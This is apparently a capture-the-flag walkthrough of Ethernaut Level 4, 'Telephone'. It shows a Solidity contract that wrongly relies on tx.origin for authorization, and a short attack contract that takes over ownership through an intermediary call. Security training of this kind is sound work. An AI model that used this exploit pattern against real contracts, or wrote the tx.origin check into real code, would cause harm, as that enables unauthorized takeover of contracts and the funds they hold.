Ethernaut Level 4: Telephone

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Requirements

  1. Claim ownership of the contract.

Concepts

Hack

We simply have to exploit the difference between msg.sender and tx.origin. This can be achieved by using an intermediary smart contract that interfaces with Telephone and calls the changeOwner() function.

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface TelephoneContract{
  function changeOwner(address _owner) external;
}

contract TelephoneAttack {

  function attack(address _telephoneAddress) public {
    TelephoneContract(_telephoneAddress).changeOwner(msg.sender);
  }

}

When we call the attack() function, this calls the changeOwner() function. From the perspective of the Telephone contract, the tx.origin is our address and the msg.sender is the TelephoneAttack address.

We can now check that we have ownership of the contract.

await contract.owner()

Done!